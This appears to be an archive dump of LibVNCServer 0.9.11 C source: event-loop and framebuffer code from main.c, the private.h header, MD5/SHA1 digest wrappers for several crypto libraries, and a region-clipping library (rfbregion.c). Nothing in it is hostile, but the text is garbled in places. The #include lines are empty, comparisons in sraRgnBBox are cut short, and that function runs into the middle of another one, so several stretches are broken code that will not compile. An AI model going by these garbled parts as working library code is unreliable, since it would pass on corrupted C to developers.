width*bytesPerPixel; /* format */ rfbInitServerFormat(screen, bitsPerSample); /* cursor */ screen->cursorX=screen->cursorY=screen->underCursorBufferLen=0; screen->underCursorBuffer=NULL; screen->dontConvertRichCursorToXCursor = FALSE; screen->cursor = &myCursor; INIT_MUTEX(screen->cursorMutex); IF_PTHREADS(screen->backgroundLoop = FALSE); /* proc's and hook's */ screen->kbdAddEvent = rfbDefaultKbdAddEvent; screen->kbdReleaseAllKeys = rfbDoNothingWithClient; screen->ptrAddEvent = rfbDefaultPtrAddEvent; screen->setXCutText = rfbDefaultSetXCutText; screen->getCursorPtr = rfbDefaultGetCursorPtr; screen->setTranslateFunction = rfbSetTranslateFunction; screen->newClientHook = rfbDefaultNewClientHook; screen->displayHook = NULL; screen->displayFinishedHook = NULL; screen->getKeyboardLedStateHook = NULL; screen->xvpHook = NULL; /* initialize client list and iterator mutex */ rfbClientListInit(screen); return(screen); } /* * Switch to another framebuffer (maybe of different size and color * format). Clients supporting NewFBSize pseudo-encoding will change * their local framebuffer dimensions if necessary. * NOTE: Rich cursor data should be converted to new pixel format by * the caller. */ void rfbNewFramebuffer(rfbScreenInfoPtr screen, char *framebuffer, int width, int height, int bitsPerSample, int samplesPerPixel, int bytesPerPixel) { rfbPixelFormat old_format; rfbBool format_changed = FALSE; rfbClientIteratorPtr iterator; rfbClientPtr cl; /* Update information in the screenInfo structure */ old_format = screen->serverFormat; if (width & 3) rfbErr("WARNING: New width (%d) is not a multiple of 4.\n", width); screen->width = width; screen->height = height; screen->bitsPerPixel = screen->depth = 8*bytesPerPixel; screen->paddedWidthInBytes = width*bytesPerPixel; rfbInitServerFormat(screen, bitsPerSample); if (memcmp(&screen->serverFormat, &old_format, sizeof(rfbPixelFormat)) != 0) { format_changed = TRUE; } screen->frameBuffer = framebuffer; /* Adjust pointer position if necessary */ if (screen->cursorX >= width) screen->cursorX = width - 1; if (screen->cursorY >= height) screen->cursorY = height - 1; /* For each client: */ iterator = rfbGetClientIterator(screen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) { /* Re-install color translation tables if necessary */ if (format_changed) screen->setTranslateFunction(cl); /* Mark the screen contents as changed, and schedule sending NewFBSize message if supported by this client. */ LOCK(cl->updateMutex); sraRgnDestroy(cl->modifiedRegion); cl->modifiedRegion = sraRgnCreateRect(0, 0, width, height); sraRgnMakeEmpty(cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; if (cl->useNewFBSize) cl->newFBSizePending = TRUE; TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); } rfbReleaseClientIterator(iterator); } /* hang up on all clients and free all reserved memory */ void rfbScreenCleanup(rfbScreenInfoPtr screen) { rfbClientIteratorPtr i=rfbGetClientIterator(screen); rfbClientPtr cl,cl1=rfbClientIteratorNext(i); while(cl1) { cl=rfbClientIteratorNext(i); rfbClientConnectionGone(cl1); cl1=cl; } rfbReleaseClientIterator(i); #define FREE_IF(x) if(screen->x) free(screen->x) FREE_IF(colourMap.data.bytes); FREE_IF(underCursorBuffer); TINI_MUTEX(screen->cursorMutex); if(screen->cursor && screen->cursor->cleanup) rfbFreeCursor(screen->cursor); #ifdef LIBVNCSERVER_HAVE_LIBZ rfbZlibCleanup(screen); #ifdef LIBVNCSERVER_HAVE_LIBJPEG rfbTightCleanup(screen); #endif /* free all 'scaled' versions of this screen */ while (screen->scaledScreenNext!=NULL) { rfbScreenInfoPtr ptr; ptr = screen->scaledScreenNext; screen->scaledScreenNext = ptr->scaledScreenNext; free(ptr->frameBuffer); free(ptr); } #endif free(screen); } void rfbInitServer(rfbScreenInfoPtr screen) { #ifdef WIN32 WSADATA trash; WSAStartup(MAKEWORD(2,2),&trash); #endif rfbInitSockets(screen); rfbHttpInitSockets(screen); #ifndef WIN32 if(screen->ignoreSIGPIPE) signal(SIGPIPE,SIG_IGN); #endif } void rfbShutdownServer(rfbScreenInfoPtr screen,rfbBool disconnectClients) { if(disconnectClients) { rfbClientPtr cl; rfbClientIteratorPtr iter = rfbGetClientIterator(screen); while( (cl = rfbClientIteratorNext(iter)) ) { if (cl->sock > -1) { /* we don't care about maxfd here, because the server goes away */ rfbCloseClient(cl); rfbClientConnectionGone(cl); } } rfbReleaseClientIterator(iter); } rfbShutdownSockets(screen); rfbHttpShutdownSockets(screen); } #ifndef LIBVNCSERVER_HAVE_GETTIMEOFDAY #include #include #include void gettimeofday(struct timeval* tv,char* dummy) { SYSTEMTIME t; GetSystemTime(&t); tv->tv_sec=t.wHour*3600+t.wMinute*60+t.wSecond; tv->tv_usec=t.wMilliseconds*1000; } #endif rfbBool rfbProcessEvents(rfbScreenInfoPtr screen,long usec) { rfbClientIteratorPtr i; rfbClientPtr cl,clPrev; rfbBool result=FALSE; extern rfbClientIteratorPtr rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen); if(usec<0) usec=screen->deferUpdateTime*1000; rfbCheckFds(screen,usec); rfbHttpCheckFds(screen); i = rfbGetClientIteratorWithClosed(screen); cl=rfbClientIteratorHead(i); while(cl) { result = rfbUpdateClient(cl); clPrev=cl; cl=rfbClientIteratorNext(i); if(clPrev->sock==-1) { rfbClientConnectionGone(clPrev); result=TRUE; } } rfbReleaseClientIterator(i); return result; } rfbBool rfbUpdateClient(rfbClientPtr cl) { struct timeval tv; rfbBool result=FALSE; rfbScreenInfoPtr screen = cl->screen; if (cl->sock >= 0 && !cl->onHold && FB_UPDATE_PENDING(cl) && !sraRgnEmpty(cl->requestedRegion)) { result=TRUE; if(screen->deferUpdateTime == 0) { rfbSendFramebufferUpdate(cl,cl->modifiedRegion); } else if(cl->startDeferring.tv_usec == 0) { gettimeofday(&cl->startDeferring,NULL); if(cl->startDeferring.tv_usec == 0) cl->startDeferring.tv_usec++; } else { gettimeofday(&tv,NULL); if(tv.tv_sec < cl->startDeferring.tv_sec /* at midnight */ || ((tv.tv_sec-cl->startDeferring.tv_sec)*1000 +(tv.tv_usec-cl->startDeferring.tv_usec)/1000) > screen->deferUpdateTime) { cl->startDeferring.tv_usec = 0; rfbSendFramebufferUpdate(cl,cl->modifiedRegion); } } } if (!cl->viewOnly && cl->lastPtrX >= 0) { if(cl->startPtrDeferring.tv_usec == 0) { gettimeofday(&cl->startPtrDeferring,NULL); if(cl->startPtrDeferring.tv_usec == 0) cl->startPtrDeferring.tv_usec++; } else { struct timeval tv; gettimeofday(&tv,NULL); if(tv.tv_sec < cl->startPtrDeferring.tv_sec /* at midnight */ || ((tv.tv_sec-cl->startPtrDeferring.tv_sec)*1000 +(tv.tv_usec-cl->startPtrDeferring.tv_usec)/1000) > cl->screen->deferPtrUpdateTime) { cl->startPtrDeferring.tv_usec = 0; cl->screen->ptrAddEvent(cl->lastPtrButtons, cl->lastPtrX, cl->lastPtrY, cl); cl->lastPtrX = -1; } } } return result; } rfbBool rfbIsActive(rfbScreenInfoPtr screenInfo) { return screenInfo->socketState!=RFB_SOCKET_SHUTDOWN || screenInfo->clientHead!=NULL; } void rfbRunEventLoop(rfbScreenInfoPtr screen, long usec, rfbBool runInBackground) { if(runInBackground) { #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD pthread_t listener_thread; screen->backgroundLoop = TRUE; pthread_create(&listener_thread, NULL, listenerRun, screen); return; #else rfbErr("Can't run in background, because I don't have PThreads!\n"); return; #endif } if(usec<0) usec=screen->deferUpdateTime*1000; while(rfbIsActive(screen)) rfbProcessEvents(screen,usec); } libvncserver-LibVNCServer-0.9.11/libvncserver/private.h000066400000000000000000000012171303145525000230760ustar00rootroot00000000000000#ifndef RFB_PRIVATE_H #define RFB_PRIVATE_H /* from cursor.c */ void rfbShowCursor(rfbClientPtr cl); void rfbHideCursor(rfbClientPtr cl); void rfbRedrawAfterHideCursor(rfbClientPtr cl,sraRegionPtr updateRegion); /* from main.c */ rfbClientPtr rfbClientIteratorHead(rfbClientIteratorPtr i); /* from tight.c */ #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG extern void rfbTightCleanup(rfbScreenInfoPtr screen); #endif /* from zlib.c */ extern void rfbZlibCleanup(rfbScreenInfoPtr screen); /* from zrle.c */ void rfbFreeZrleData(rfbClientPtr cl); #endif /* from ultra.c */ extern void rfbFreeUltraData(rfbClientPtr cl); #endif libvncserver-LibVNCServer-0.9.11/libvncserver/rfbcrypto.h000066400000000000000000000004041303145525000234330ustar00rootroot00000000000000#ifndef _RFB_CRYPTO_H #define _RFB_CRYPTO_H 1 #include #define SHA1_HASH_SIZE 20 #define MD5_HASH_SIZE 16 void digestmd5(const struct iovec *iov, int iovcnt, void *dest); void digestsha1(const struct iovec *iov, int iovcnt, void *dest); #endif libvncserver-LibVNCServer-0.9.11/libvncserver/rfbcrypto_gnutls.c000066400000000000000000000030071303145525000250240ustar00rootroot00000000000000/* * rfbcrypto_gnutls.c - Crypto wrapper (gnutls version) */ /* * Copyright (C) 2011 Gernot Tenchio * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include #include "rfbcrypto.h" void digestmd5(const struct iovec *iov, int iovcnt, void *dest) { gcry_md_hd_t c; int i; gcry_md_open(&c, GCRY_MD_MD5, 0); for (i = 0; i < iovcnt; i++) gcry_md_write(c, iov[i].iov_base, iov[i].iov_len); gcry_md_final(c); memcpy(dest, gcry_md_read(c, 0), gcry_md_get_algo_dlen(GCRY_MD_MD5)); } void digestsha1(const struct iovec *iov, int iovcnt, void *dest) { gcry_md_hd_t c; int i; gcry_md_open(&c, GCRY_MD_SHA1, 0); for (i = 0; i < iovcnt; i++) gcry_md_write(c, iov[i].iov_base, iov[i].iov_len); gcry_md_final(c); memcpy(dest, gcry_md_read(c, 0), gcry_md_get_algo_dlen(GCRY_MD_SHA1)); } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbcrypto_included.c000066400000000000000000000025651303145525000253070ustar00rootroot00000000000000/* * rfbcrypto_included.c - Crypto wrapper (included version) */ /* * Copyright (C) 2011 Gernot Tenchio * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include "md5.h" #include "sha.h" #include "rfbcrypto.h" void digestmd5(const struct iovec *iov, int iovcnt, void *dest) { struct md5_ctx c; int i; __md5_init_ctx(&c); for (i = 0; i < iovcnt; i++) __md5_process_bytes(iov[i].iov_base, iov[i].iov_len, &c); __md5_finish_ctx(&c, dest); } void digestsha1(const struct iovec *iov, int iovcnt, void *dest) { SHA1Context c; int i; SHA1Reset(&c); for (i = 0; i < iovcnt; i++) SHA1Input(&c, iov[i].iov_base, iov[i].iov_len); SHA1Result(&c, dest); } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbcrypto_openssl.c000066400000000000000000000025541303145525000252010ustar00rootroot00000000000000/* * rfbcrypto_openssl.c - Crypto wrapper (openssl version) */ /* * Copyright (C) 2011 Gernot Tenchio * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include #include #include "rfbcrypto.h" void digestmd5(const struct iovec *iov, int iovcnt, void *dest) { MD5_CTX c; int i; MD5_Init(&c); for (i = 0; i < iovcnt; i++) MD5_Update(&c, iov[i].iov_base, iov[i].iov_len); MD5_Final(dest, &c); } void digestsha1(const struct iovec *iov, int iovcnt, void *dest) { SHA_CTX c; int i; SHA1_Init(&c); for (i = 0; i < iovcnt; i++) SHA1_Update(&c, iov[i].iov_base, iov[i].iov_len); SHA1_Final(dest, &c); } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbcrypto_polarssl.c000066400000000000000000000010671303145525000253530ustar00rootroot00000000000000#include #include #include #include "rfbcrypto.h" void digestmd5(const struct iovec *iov, int iovcnt, void *dest) { md5_context c; int i; md5_starts(&c); for (i = 0; i < iovcnt; i++) md5_update(&c, iov[i].iov_base, iov[i].iov_len); md5_finish(&c, dest); } void digestsha1(const struct iovec *iov, int iovcnt, void *dest) { sha1_context c; int i; sha1_starts(&c); for (i = 0; i < iovcnt; i++) sha1_update(&c, iov[i].iov_base, iov[i].iov_len); sha1_finish(&c, dest); } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbregion.c000066400000000000000000000505631303145525000234040ustar00rootroot00000000000000/* -=- sraRegion.c * Copyright (c) 2001 James "Wez" Weatherall, Johannes E. Schindelin * * A general purpose region clipping library * Only deals with rectangular regions, though. */ #include #include /* -=- Internal Span structure */ struct sraRegion; typedef struct sraSpan { struct sraSpan *_next; struct sraSpan *_prev; int start; int end; struct sraRegion *subspan; } sraSpan; typedef struct sraRegion { sraSpan front; sraSpan back; } sraSpanList; /* -=- Span routines */ sraSpanList *sraSpanListDup(const sraSpanList *src); void sraSpanListDestroy(sraSpanList *list); static sraSpan * sraSpanCreate(int start, int end, const sraSpanList *subspan) { sraSpan *item = (sraSpan*)malloc(sizeof(sraSpan)); item->_next = item->_prev = NULL; item->start = start; item->end = end; item->subspan = sraSpanListDup(subspan); return item; } static sraSpan * sraSpanDup(const sraSpan *src) { sraSpan *span; if (!src) return NULL; span = sraSpanCreate(src->start, src->end, src->subspan); return span; } static void sraSpanInsertAfter(sraSpan *newspan, sraSpan *after) { newspan->_next = after->_next; newspan->_prev = after; after->_next->_prev = newspan; after->_next = newspan; } static void sraSpanInsertBefore(sraSpan *newspan, sraSpan *before) { newspan->_next = before; newspan->_prev = before->_prev; before->_prev->_next = newspan; before->_prev = newspan; } static void sraSpanRemove(sraSpan *span) { span->_prev->_next = span->_next; span->_next->_prev = span->_prev; } static void sraSpanDestroy(sraSpan *span) { if (span->subspan) sraSpanListDestroy(span->subspan); free(span); } #ifdef DEBUG static void sraSpanCheck(const sraSpan *span, const char *text) { /* Check the span is valid! */ if (span->start == span->end) { printf(text); printf(":%d-%d\n", span->start, span->end); } } #endif /* -=- SpanList routines */ static void sraSpanPrint(const sraSpan *s); static void sraSpanListPrint(const sraSpanList *l) { sraSpan *curr; if (!l) { printf("NULL"); return; } curr = l->front._next; printf("["); while (curr != &(l->back)) { sraSpanPrint(curr); curr = curr->_next; } printf("]"); } void sraSpanPrint(const sraSpan *s) { printf("(%d-%d)", (s->start), (s->end)); if (s->subspan) sraSpanListPrint(s->subspan); } static sraSpanList * sraSpanListCreate(void) { sraSpanList *item = (sraSpanList*)malloc(sizeof(sraSpanList)); item->front._next = &(item->back); item->front._prev = NULL; item->back._prev = &(item->front); item->back._next = NULL; return item; } sraSpanList * sraSpanListDup(const sraSpanList *src) { sraSpanList *newlist; sraSpan *newspan, *curr; if (!src) return NULL; newlist = sraSpanListCreate(); curr = src->front._next; while (curr != &(src->back)) { newspan = sraSpanDup(curr); sraSpanInsertBefore(newspan, &(newlist->back)); curr = curr->_next; } return newlist; } void sraSpanListDestroy(sraSpanList *list) { sraSpan *curr, *next; while (list->front._next != &(list->back)) { curr = list->front._next; next = curr->_next; sraSpanRemove(curr); sraSpanDestroy(curr); curr = next; } free(list); } static void sraSpanListMakeEmpty(sraSpanList *list) { sraSpan *curr, *next; while (list->front._next != &(list->back)) { curr = list->front._next; next = curr->_next; sraSpanRemove(curr); sraSpanDestroy(curr); curr = next; } list->front._next = &(list->back); list->front._prev = NULL; list->back._prev = &(list->front); list->back._next = NULL; } static rfbBool sraSpanListEqual(const sraSpanList *s1, const sraSpanList *s2) { sraSpan *sp1, *sp2; if (!s1) { if (!s2) { return 1; } else { rfbErr("sraSpanListEqual:incompatible spans (only one NULL!)\n"); return FALSE; } } sp1 = s1->front._next; sp2 = s2->front._next; while ((sp1 != &(s1->back)) && (sp2 != &(s2->back))) { if ((sp1->start != sp2->start) || (sp1->end != sp2->end) || (!sraSpanListEqual(sp1->subspan, sp2->subspan))) { return 0; } sp1 = sp1->_next; sp2 = sp2->_next; } if ((sp1 == &(s1->back)) && (sp2 == &(s2->back))) { return 1; } else { return 0; } } static rfbBool sraSpanListEmpty(const sraSpanList *list) { return (list->front._next == &(list->back)); } static unsigned long sraSpanListCount(const sraSpanList *list) { sraSpan *curr = list->front._next; unsigned long count = 0; while (curr != &(list->back)) { if (curr->subspan) { count += sraSpanListCount(curr->subspan); } else { count += 1; } curr = curr->_next; } return count; } static void sraSpanMergePrevious(sraSpan *dest) { sraSpan *prev = dest->_prev; while ((prev->_prev) && (prev->end == dest->start) && (sraSpanListEqual(prev->subspan, dest->subspan))) { /* printf("merge_prev:"); sraSpanPrint(prev); printf(" & "); sraSpanPrint(dest); printf("\n"); */ dest->start = prev->start; sraSpanRemove(prev); sraSpanDestroy(prev); prev = dest->_prev; } } static void sraSpanMergeNext(sraSpan *dest) { sraSpan *next = dest->_next; while ((next->_next) && (next->start == dest->end) && (sraSpanListEqual(next->subspan, dest->subspan))) { /* printf("merge_next:"); sraSpanPrint(dest); printf(" & "); sraSpanPrint(next); printf("\n"); */ dest->end = next->end; sraSpanRemove(next); sraSpanDestroy(next); next = dest->_next; } } static void sraSpanListOr(sraSpanList *dest, const sraSpanList *src) { sraSpan *d_curr, *s_curr; int s_start, s_end; if (!dest) { if (!src) { return; } else { rfbErr("sraSpanListOr:incompatible spans (only one NULL!)\n"); return; } } d_curr = dest->front._next; s_curr = src->front._next; s_start = s_curr->start; s_end = s_curr->end; while (s_curr != &(src->back)) { /* - If we are at end of destination list OR If the new span comes before the next destination one */ if ((d_curr == &(dest->back)) || (d_curr->start >= s_end)) { /* - Add the span */ sraSpanInsertBefore(sraSpanCreate(s_start, s_end, s_curr->subspan), d_curr); if (d_curr != &(dest->back)) sraSpanMergePrevious(d_curr); s_curr = s_curr->_next; s_start = s_curr->start; s_end = s_curr->end; } else { /* - If the new span overlaps the existing one */ if ((s_start < d_curr->end) && (s_end > d_curr->start)) { /* - Insert new span before the existing destination one? */ if (s_start < d_curr->start) { sraSpanInsertBefore(sraSpanCreate(s_start, d_curr->start, s_curr->subspan), d_curr); sraSpanMergePrevious(d_curr); } /* Split the existing span if necessary */ if (s_end < d_curr->end) { sraSpanInsertAfter(sraSpanCreate(s_end, d_curr->end, d_curr->subspan), d_curr); d_curr->end = s_end; } if (s_start > d_curr->start) { sraSpanInsertBefore(sraSpanCreate(d_curr->start, s_start, d_curr->subspan), d_curr); d_curr->start = s_start; } /* Recursively OR subspans */ sraSpanListOr(d_curr->subspan, s_curr->subspan); /* Merge this span with previous or next? */ if (d_curr->_prev != &(dest->front)) sraSpanMergePrevious(d_curr); if (d_curr->_next != &(dest->back)) sraSpanMergeNext(d_curr); /* Move onto the next pair to compare */ if (s_end > d_curr->end) { s_start = d_curr->end; d_curr = d_curr->_next; } else { s_curr = s_curr->_next; s_start = s_curr->start; s_end = s_curr->end; } } else { /* - No overlap. Move to the next destination span */ d_curr = d_curr->_next; } } } } static rfbBool sraSpanListAnd(sraSpanList *dest, const sraSpanList *src) { sraSpan *d_curr, *s_curr, *d_next; if (!dest) { if (!src) { return 1; } else { rfbErr("sraSpanListAnd:incompatible spans (only one NULL!)\n"); return FALSE; } } d_curr = dest->front._next; s_curr = src->front._next; while ((s_curr != &(src->back)) && (d_curr != &(dest->back))) { /* - If we haven't reached a destination span yet then move on */ if (d_curr->start >= s_curr->end) { s_curr = s_curr->_next; continue; } /* - If we are beyond the current destination span then remove it */ if (d_curr->end <= s_curr->start) { sraSpan *next = d_curr->_next; sraSpanRemove(d_curr); sraSpanDestroy(d_curr); d_curr = next; continue; } /* - If we partially overlap a span then split it up or remove bits */ if (s_curr->start > d_curr->start) { /* - The top bit of the span does not match */ d_curr->start = s_curr->start; } if (s_curr->end < d_curr->end) { /* - The end of the span does not match */ sraSpanInsertAfter(sraSpanCreate(s_curr->end, d_curr->end, d_curr->subspan), d_curr); d_curr->end = s_curr->end; } /* - Now recursively process the affected span */ if (!sraSpanListAnd(d_curr->subspan, s_curr->subspan)) { /* - The destination subspan is now empty, so we should remove it */ sraSpan *next = d_curr->_next; sraSpanRemove(d_curr); sraSpanDestroy(d_curr); d_curr = next; } else { /* Merge this span with previous or next? */ if (d_curr->_prev != &(dest->front)) sraSpanMergePrevious(d_curr); /* - Move on to the next span */ d_next = d_curr; if (s_curr->end >= d_curr->end) { d_next = d_curr->_next; } if (s_curr->end <= d_curr->end) { s_curr = s_curr->_next; } d_curr = d_next; } } while (d_curr != &(dest->back)) { sraSpan *next = d_curr->_next; sraSpanRemove(d_curr); sraSpanDestroy(d_curr); d_curr=next; } return !sraSpanListEmpty(dest); } static rfbBool sraSpanListSubtract(sraSpanList *dest, const sraSpanList *src) { sraSpan *d_curr, *s_curr; if (!dest) { if (!src) { return 1; } else { rfbErr("sraSpanListSubtract:incompatible spans (only one NULL!)\n"); return FALSE; } } d_curr = dest->front._next; s_curr = src->front._next; while ((s_curr != &(src->back)) && (d_curr != &(dest->back))) { /* - If we haven't reached a destination span yet then move on */ if (d_curr->start >= s_curr->end) { s_curr = s_curr->_next; continue; } /* - If we are beyond the current destination span then skip it */ if (d_curr->end <= s_curr->start) { d_curr = d_curr->_next; continue; } /* - If we partially overlap the current span then split it up */ if (s_curr->start > d_curr->start) { sraSpanInsertBefore(sraSpanCreate(d_curr->start, s_curr->start, d_curr->subspan), d_curr); d_curr->start = s_curr->start; } if (s_curr->end < d_curr->end) { sraSpanInsertAfter(sraSpanCreate(s_curr->end, d_curr->end, d_curr->subspan), d_curr); d_curr->end = s_curr->end; } /* - Now recursively process the affected span */ if ((!d_curr->subspan) || !sraSpanListSubtract(d_curr->subspan, s_curr->subspan)) { /* - The destination subspan is now empty, so we should remove it */ sraSpan *next = d_curr->_next; sraSpanRemove(d_curr); sraSpanDestroy(d_curr); d_curr = next; } else { /* Merge this span with previous or next? */ if (d_curr->_prev != &(dest->front)) sraSpanMergePrevious(d_curr); if (d_curr->_next != &(dest->back)) sraSpanMergeNext(d_curr); /* - Move on to the next span */ if (s_curr->end > d_curr->end) { d_curr = d_curr->_next; } else { s_curr = s_curr->_next; } } } return !sraSpanListEmpty(dest); } /* -=- Region routines */ sraRegion * sraRgnCreate(void) { return (sraRegion*)sraSpanListCreate(); } sraRegion * sraRgnCreateRect(int x1, int y1, int x2, int y2) { sraSpanList *vlist, *hlist; sraSpan *vspan, *hspan; /* - Build the horizontal portion of the span */ hlist = sraSpanListCreate(); hspan = sraSpanCreate(x1, x2, NULL); sraSpanInsertAfter(hspan, &(hlist->front)); /* - Build the vertical portion of the span */ vlist = sraSpanListCreate(); vspan = sraSpanCreate(y1, y2, hlist); sraSpanInsertAfter(vspan, &(vlist->front)); sraSpanListDestroy(hlist); return (sraRegion*)vlist; } sraRegion * sraRgnCreateRgn(const sraRegion *src) { return (sraRegion*)sraSpanListDup((sraSpanList*)src); } void sraRgnDestroy(sraRegion *rgn) { sraSpanListDestroy((sraSpanList*)rgn); } void sraRgnMakeEmpty(sraRegion *rgn) { sraSpanListMakeEmpty((sraSpanList*)rgn); } /* -=- Boolean Region ops */ rfbBool sraRgnAnd(sraRegion *dst, const sraRegion *src) { return sraSpanListAnd((sraSpanList*)dst, (sraSpanList*)src); } void sraRgnOr(sraRegion *dst, const sraRegion *src) { sraSpanListOr((sraSpanList*)dst, (sraSpanList*)src); } rfbBool sraRgnSubtract(sraRegion *dst, const sraRegion *src) { return sraSpanListSubtract((sraSpanList*)dst, (sraSpanList*)src); } void sraRgnOffset(sraRegion *dst, int dx, int dy) { sraSpan *vcurr, *hcurr; vcurr = ((sraSpanList*)dst)->front._next; while (vcurr != &(((sraSpanList*)dst)->back)) { vcurr->start += dy; vcurr->end += dy; hcurr = vcurr->subspan->front._next; while (hcurr != &(vcurr->subspan->back)) { hcurr->start += dx; hcurr->end += dx; hcurr = hcurr->_next; } vcurr = vcurr->_next; } } sraRegion *sraRgnBBox(const sraRegion *src) { int xmin=((unsigned int)(int)-1)>>1,ymin=xmin,xmax=1-xmin,ymax=xmax; sraSpan *vcurr, *hcurr; if(!src) return sraRgnCreate(); vcurr = ((sraSpanList*)src)->front._next; while (vcurr != &(((sraSpanList*)src)->back)) { if(vcurr->startstart; if(vcurr->end>ymax) ymax=vcurr->end; hcurr = vcurr->subspan->front._next; while (hcurr != &(vcurr->subspan->back)) { if(hcurr->startstart; if(hcurr->end>xmax) xmax=hcurr->end; hcurr = hcurr->_next; } vcurr = vcurr->_next; } if(xmaxback._prev; vend = &(((sraSpanList*)rgn)->front); } else { vcurr = ((sraSpanList*)rgn)->front._next; vend = &(((sraSpanList*)rgn)->back); } if (vcurr != vend) { rect->y1 = vcurr->start; rect->y2 = vcurr->end; /* - Pick correct order */ if (right2left) { hcurr = vcurr->subspan->back._prev; hend = &(vcurr->subspan->front); } else { hcurr = vcurr->subspan->front._next; hend = &(vcurr->subspan->back); } if (hcurr != hend) { rect->x1 = hcurr->start; rect->x2 = hcurr->end; sraSpanRemove(hcurr); sraSpanDestroy(hcurr); if (sraSpanListEmpty(vcurr->subspan)) { sraSpanRemove(vcurr); sraSpanDestroy(vcurr); } #if 0 printf("poprect:(%dx%d)-(%dx%d)\n", rect->x1, rect->y1, rect->x2, rect->y2); #endif return 1; } } return 0; } unsigned long sraRgnCountRects(const sraRegion *rgn) { unsigned long count = sraSpanListCount((sraSpanList*)rgn); return count; } rfbBool sraRgnEmpty(const sraRegion *rgn) { return sraSpanListEmpty((sraSpanList*)rgn); } /* iterator stuff */ sraRectangleIterator *sraRgnGetIterator(sraRegion *s) { /* these values have to be multiples of 4 */ #define DEFSIZE 4 #define DEFSTEP 8 sraRectangleIterator *i = (sraRectangleIterator*)malloc(sizeof(sraRectangleIterator)); if(!i) return NULL; /* we have to recurse eventually. So, the first sPtr is the pointer to the sraSpan in the first level. the second sPtr is the pointer to the sraRegion.back. The third and fourth sPtr are for the second recursion level and so on. */ i->sPtrs = (sraSpan**)malloc(sizeof(sraSpan*)*DEFSIZE); if(!i->sPtrs) { free(i); return NULL; } i->ptrSize = DEFSIZE; i->sPtrs[0] = &(s->front); i->sPtrs[1] = &(s->back); i->ptrPos = 0; i->reverseX = 0; i->reverseY = 0; return i; } sraRectangleIterator *sraRgnGetReverseIterator(sraRegion *s,rfbBool reverseX,rfbBool reverseY) { sraRectangleIterator *i = sraRgnGetIterator(s); if(reverseY) { i->sPtrs[1] = &(s->front); i->sPtrs[0] = &(s->back); } i->reverseX = reverseX; i->reverseY = reverseY; return(i); } static rfbBool sraReverse(sraRectangleIterator *i) { return( ((i->ptrPos&2) && i->reverseX) || (!(i->ptrPos&2) && i->reverseY)); } static sraSpan* sraNextSpan(sraRectangleIterator *i) { if(sraReverse(i)) return(i->sPtrs[i->ptrPos]->_prev); else return(i->sPtrs[i->ptrPos]->_next); } rfbBool sraRgnIteratorNext(sraRectangleIterator* i,sraRect* r) { /* is the subspan finished? */ while(sraNextSpan(i) == i->sPtrs[i->ptrPos+1]) { i->ptrPos -= 2; if(i->ptrPos < 0) /* the end */ return(0); } i->sPtrs[i->ptrPos] = sraNextSpan(i); /* is this a new subspan? */ while(i->sPtrs[i->ptrPos]->subspan) { if(i->ptrPos+2 > i->ptrSize) { /* array is too small */ i->ptrSize += DEFSTEP; i->sPtrs = (sraSpan**)realloc(i->sPtrs, sizeof(sraSpan*)*i->ptrSize); } i->ptrPos += 2; if(sraReverse(i)) { i->sPtrs[i->ptrPos] = i->sPtrs[i->ptrPos-2]->subspan->back._prev; i->sPtrs[i->ptrPos+1] = &(i->sPtrs[i->ptrPos-2]->subspan->front); } else { i->sPtrs[i->ptrPos] = i->sPtrs[i->ptrPos-2]->subspan->front._next; i->sPtrs[i->ptrPos+1] = &(i->sPtrs[i->ptrPos-2]->subspan->back); } } if((i->ptrPos%4)!=2) { rfbErr("sraRgnIteratorNext: offset is wrong (%d%%4!=2)\n",i->ptrPos); return FALSE; } r->y1 = i->sPtrs[i->ptrPos-2]->start; r->y2 = i->sPtrs[i->ptrPos-2]->end; r->x1 = i->sPtrs[i->ptrPos]->start; r->x2 = i->sPtrs[i->ptrPos]->end; return(-1); } void sraRgnReleaseIterator(sraRectangleIterator* i) { free(i->sPtrs); free(i); } void sraRgnPrint(const sraRegion *rgn) { sraSpanListPrint((sraSpanList*)rgn); } rfbBool sraClipRect(int *x, int *y, int *w, int *h, int cx, int cy, int cw, int ch) { if (*x < cx) { *w -= (cx-*x); *x = cx; } if (*y < cy) { *h -= (cy-*y); *y = cy; } if (*x+*w > cx+cw) { *w = (cx+cw)-*x; } if (*y+*h > cy+ch) { *h = (cy+ch)-*y; } return (*w>0) && (*h>0); } rfbBool sraClipRect2(int *x, int *y, int *x2, int *y2, int cx, int cy, int cx2, int cy2) { if (*x < cx) *x = cx; if (*y < cy) *y = cy; if (*x >= cx2) *x = cx2-1; if (*y >= cy2) *y = cy2-1; if (*x2 <= cx) *x2 